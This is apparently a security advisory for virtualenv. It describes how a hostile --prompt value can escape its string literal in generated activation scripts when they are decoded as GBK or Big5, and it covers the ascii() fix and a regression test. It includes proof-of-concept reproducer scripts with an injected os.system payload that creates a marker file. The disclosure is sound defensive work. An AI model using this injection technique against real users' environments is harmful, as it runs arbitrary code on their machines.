Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.
// affected areaXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.
// attacker-controlled inputThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.
// affected codeThe relevant 21.14.8 source is in xonsh quote(), UTF-8 template writer.
// mechanismThe generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.
// reproduction and evidenceThe original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. PR #3432 shows the xonsh source-decoding chain and changes quote() to ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that ast.literal_eval returns the original prompt.
The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.
// attack sequencesequenceDiagram
participant A as Prompt supplier
participant V as virtualenv quote()
participant F as activate.xsh bytes
participant X as xonsh source
A->>V: 中 plus escaped quote and statements
V->>F: repr writes UTF-8 中 followed by backslash
alt XONSH_ENCODING is UTF-8
F->>X: backslash remains an escape
X-->>A: prompt remains data
else XONSH_ENCODING is GBK or Big5
F->>X: decoder consumes backslash as trail byte
X->>X: quote closes and statements run
end
Note over V,X: ascii() emits only ASCII bytes and preserves the literal// reproducer filesThe following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree
work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"
# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}
# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"
# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"
# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")
observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
repro.d/activate_with_exec_open.py
#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys
this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})
print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")repro.d/install_gbk_locale.py
#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys
locpath = sys.argv[1]
os.makedirs(locpath)
charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
for trail in range(0x40, 0xFF):
try:
char = bytes([lead, trail]).decode("gbk")
except UnicodeDecodeError:
continue
charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
charmap_file.write("\n".join(charmap) + "\n")
# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
sys.exit(f"zh_CN.GBK locale not usable: {codeset}")repro.d/zh_CN_minimal.locale
comment_char % escape_char / % Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Local
- Attack complexity
- High
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- Active
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None